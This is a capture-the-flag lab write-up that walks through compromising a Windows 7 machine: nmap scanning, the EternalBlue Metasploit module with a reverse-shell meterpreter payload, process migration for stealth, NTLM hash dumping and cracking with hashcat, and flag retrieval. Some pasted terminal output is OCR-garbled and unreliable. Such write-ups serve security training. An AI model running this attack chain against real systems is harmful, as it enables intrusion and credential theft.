#### **Introduction:**

Capture the flag is an exercise in which participants attempt to find text strings, called "flags" which are secretly hidden in intentionally-vulnerable programs or websites. It was first developed in 1996 at DEF CON, the largest cybersecurity conference in the world. There are mainly two types of CTF,

- Jeopardy and
- attack-defense.

As the name suggest, Attack-defense CTF, have a defending team and an attacker team where the defending team defend their vulnerable machine while attacking their opponent's system. In Jeopardy style CTF, participants complete challenges on various categories such as cryptography, web exploitation, reverse engineering and so on.

This was a Jeopardy style CTF too (performed on 9<sup>th</sup> of August 2024) where limited information about the victim machine was known. The victim machine was on same network as the attacker and it was running Windows 7 professional OS where the user was Jon. Upon active reconnaissance (direct interaction with the target), the IP address of the victim was revealed using netdiscover tool.

```
Currently scanning: 172.16.9.0/16
                                          Screen View: Unique Hosts
5 Captured ARP Reg/Rep packets, from 2 hosts.
                                                  Total size: 300
  ΙP
                 At MAC Address
                                                    MAC Vendor / Hostname
                                     Count
                                               Len
                                         4
10.10.1.2
                 00:50:56:ee:51:b4
                                               240
                                                    VMware, Inc.
10.10.1.10
                 00:0c:29:0f:6a:6e
                                         1
                                                60
                                                    VMware, Inc.
                )-[/home/kali]
Fri Aug 9 05:32:08 EDT 2024
                )-[/home/kali]
```

#### What is the IP address of the Machine?

>>10.10.1.10 was the IP address of the machine.

# Scan the machine (provide nmap commad)

>>nmap -A 10.10.1.10

Altogether, 8 open ports were found and to find the vulnerable services, another nmap command was ran, *nmap -A 10.10.1.10 –script=vuln*.

# What nmap script did you use to scan and why?

>> "nmap -A 10.10.1.10 –script=vuln" was run to find vulnerable services.

```
DORT STATE SERVICE REASON
135/tcp open marpc sym-ack ttl 128
135/tcp open microsoft-ds sym-ack ttl 128
445/tcp open microsoft-ds sym-ack ttl 128
445/tcp open microsoft-ds sym-ack ttl 128
45155/tcp open unknown sym-ack ttl 128
45156/tcp open unknown sym
```

The nse script=vuln revealed a high-risk vulnerability in SMBv1 as ms17-010 whose CVE is CVE-2017-0143. Moreover, the aggressive scan also revealed the OS of the victim to be Windows 7 Professional.

#### What was the operating system?

>> Windows 7 Professional

#### How many ports are open? Also mention the ports under 1000.

>> In total, eight ports were open and the ports under 1000 are,

135 - msrpc

139 – netbios-ssn

455 – netbios-ds

# Mention the vulnerability you identified on the machine.

>>The vulnerability identified on the machine was ms17-010

#### What is the name of the vulnerability?

>> The name of the vulnerability is Eternal Blue.

What exploit code will you run against the machine? Mention the full path of the code.

>>The victim was exploited using Metasploit and the path of the exploit was "exploit/windows/smb/ms17 010 eternalblue".

# Show options and set the one required value. What is the name of the value?

>>The required value is RHOST and it's the IP address of the victim machine.

```
Module options (exploit/windows/smb/msi7_010_eternalblue):

Name Current Setting Required Description

RHOSTS yes The target port (TCP)
SMBDuse no (Optional) The parament to authentication. Omly affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

SMBDuse no (Optional) The username to authenticate as

VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/s64/meterpreter/reverse_tcp):

RAITIFUC thread yes Exit technique (Accepted: ", seh, thread, process, none)

LHOST 10.10.1.5 yes The listen address (an interface may be specified)

Fin Aug 9 05:40:28 EDT 2024

Exploit target:

Id Name

0 Automatic Target

View the full module info with the info, or info -d command.

ms16 exploit(*Indows/smb/ms2/sub_cternalblue*) > set RHOST 10.10.1.10
```

Was the system exploited, if not explain why?

>>Yes the system was successfully exploite.

# What payload did you set to exploit the machine? Mention full path.

>>The default payload provided by the meterpreter for eternal blue exploit was used and it was "windows/x64/meterpreter/reverse\_tcp"

# List all the processes running.

# What is the process ID of NT AUTHORITY\SYSTEM at bottom of the page?

>>The process id is 1440.

Migrate process using the 'migrate PROCESS\_ID' or migrate –N NAME OF SERVICE". This may take several attempts, migrating processes are not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

>> The successful process migration can be found on the above image.

# Research on "migration process" using meterpreter and share your findings.

>> Process migration refers to the act of transferring a running process from one execution environment (such as a computer or server) to another. In the context of Meterpreter, a powerful post-exploitation tool, process migration serves specific purposes:

#### **Persistence and Stealth:**

- After compromising a target system, an attacker aims to maintain access without detection.
- Migrating the Meterpreter process to a different host process (e.g., moving from a conspicuous process to a common one like explorer.exe) helps achieve this.

# **Architecture Compatibility:**

- Sometimes, the Meterpreter process architecture (e.g., 32-bit or 64-bit) may not match the target system.
- Migrating to a compatible process ensures proper execution of payloads.

On the meterpreter shell use command "dumphash" to collect the hash of the user account. Mention the username and hash you see on the screen.

Now copy that hash and crack it. (a.) Research on "windows machine hash type". What type of hash you just get from the machine?

>> NTLM (NT LAN Manager) hash is a cryptographic function used by Windows systems to store user passwords securely. It comes in two versions: NTLMv1 and NTLMv2. NTLMv1, the older version, uses a simple MD4 hash of the user's password and is considered less secure. NTLMv2, on the other hand, includes additional security features like a challenge-response mechanism and stronger encryption. Despite its widespread use, NTLM hashes are vulnerable to various attacks, such as brute force and rainbow table attacks, making it crucial to use strong, complex passwords. Additionally, NTLM hashes can be exploited in pass-the-hash attacks, where attackers use captured hashes to authenticate without knowing the actual password. To mitigate these risks, it's recommended to disable NTLM where possible, favoring Kerberos for its enhanced security features, and to implement robust network security measures. While NTLM remains in use, modern Windows environments often prefer Kerberos due to its superior security capabilities.

#### (b) Search how to crack the hash.

>> Various tool could be used to crack the hash. I used hashcat tool to crack the hash for user Jon.

```
Dictionary cache built:
 * Filename..: /usr/share/wordlists/rockyou.txt.gz
* Passwords.: 14344392
 * Bytes....: 139921507
   Keyspace..: 14344385
   Runtime...: 6 secs
 31d6cfe0d16ae931b73c59d7e0c089c0:
   racking performance lower than expected?
    This lowers the maximum supported password/salt length (usually down to 32).
    This has a drastic speed impact but can be better for specific attacks. Typical scenarios are a small wordlist but a large ruleset.
    Update your backend API runtime / driver the right way:
    https://hashcat.net/faq/wrongdriver
   Create more work items to make use of your parallelization power: \label{eq:https://hashcat.net/faq/morework} https://hashcat.net/faq/morework
                                                                                                                                                                                   root@SWagat: /home/kali
 ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22
                                                                                                                                 File Actions Edit View Help
                                                                                                                                 Fri Aug 9 07:19:59 EDT 2024
 Session...... hashcat
 Status...... Cracked
                                                                                                                                                    Wagat)-[/home/kali]
 Hash.Mode.....: 1000 (NTLM)
 Hash.Target.....: win7.hashes
 Time.Started....: Fri Aug 9 06:52:28 2024 (35 secs)
Time.Estimated...: Fri Aug 9 06:53:03 2024 (0 secs)
Time.Estimated...: Fri Aug 9 06:53:03 2024 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Base.....: File (/usr/share/wordlists/rockyou.txt.gz)

Guess.Queue....: 1/1 (100.00%)

Speed.#1.....: 362.7 kH/s (0.74ms) @ Accel:512 Loops:1 Thr:1 Vec:8

Recovered.....: 2/2 (100.00%) Digests (total), 2/2 (100.00%) Digests (new)

Progress.....: 10201088/14344385 (71.12%)

Rejected.....: 0/10201088 (0.00%)

Restore.Point...: 10199040/14344385 (71.10%)

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator
 Candidate.Engine.: Device Generator
Candidates.#1...: alsinah → alphasarto11
Hardware.Mon.#1..: Util: 40%
Started: Fri Aug 9 06:51:04 2024
Stopped: Fri Aug 9 06:53:06 2024
```

# On the meterpreter shell just run command "search -f flag\*.txt"

>>

#### How many flags do you see on the terminal?

>> There were 3 flags on the terminal.

#### What are the flags?

#### >>

```
C:\Users\Jon\Documents

C:\Users\Jon\Documents>dir

dir

Volume in drive C has no label.

Volume Serial Number is E611-0866

Directory of C:\Users\Jon\Documents

12/12/2018 10:49 PM <DIR>
12/12/2018 10:49 PM <DIR>
2 Dir(s) 22,114,480,128 bytes free

C:\Users\Jon\Documents>type flag3.txt

type flag3.txt
flag{admin_documents_can_be_valuable}
C:\Users\Jon\Documents>

C:\Users\Jon\Documents>

C:\Users\Jon\Documents>\Documents>

C:\Users\Jon\Documents>\Documents>\Documents}

Volume Serial Number is E611-0866

File Actions Edit View Help

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(root@ SNlagat)-[/home/kali]

(root@ SNlagat)-[/home/kali]
```